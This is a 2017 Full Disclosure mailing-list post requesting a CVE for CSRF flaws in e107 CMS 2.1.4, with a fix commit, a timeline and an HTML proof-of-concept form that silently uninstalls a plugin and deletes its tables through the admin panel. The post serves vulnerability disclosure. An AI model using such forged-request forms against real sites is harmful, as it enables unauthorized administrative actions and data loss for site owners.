full-disclosure - [FD] CVE Request:Mutiple CSRF vulnerabilities in e107 CMS 2.1.4

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Date: Fri, 7 Apr 2017 06:04:34 +0000
From: Wester 95 <evilzyzeng@...look.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] CVE Request:Mutiple CSRF vulnerabilities in e107 CMS 2.1.4

Hi team,

I would like to request one CVE ID with some issues of e107 CMS.

==========================

Title:Mutiple CSRF vulnerabilities in e107 CMS 2.1.4

Author:Zhiyang Zeng

Product:

—————

e107 is a powerful website content management system designed for bootstrap v3 from http://e107.org/get-started

—————

Fix

—————

Fixed in git source code https://github.com/e107inc/e107/commit/7a3e3d9fc7e05ce6941b9af1c14010bf2141f1a5

—————

Summary

————

e107 CMS version 2.1.4 is vulnerable to cross-site request forgery in plugin-installing,meta-changingand settings-changing,a malicious web page can use

forged requests to make e107 download and install a plug-in provided

by the attacker.

————

Timeline

———

2017-03-01   report to vendor

2017-03-02  GitHub commit to fix token missing

———

 Reproduce:

==========

I just give a uninstall any plugins POC.

vul address:http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php

POC:

<form action="http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php?uninstall.8" method="post">

<input type="text" name="delete_tables" value="1">

<input type="text" name="delete_ipool" value="1">

<input type="text" name="delete_files" value="0">

<input type="text" name="uninstall_confirm" value="Confirm uninstall">

<input type="submit" name="submit">

</form>

Description:

I try to uninstall plugin  gallery which id is 8.

visiting beyond POC page, you will find gallery plugin has been uninstalled success!

===========

Best regards,

Zhiyang Zeng of Tencent security platform department

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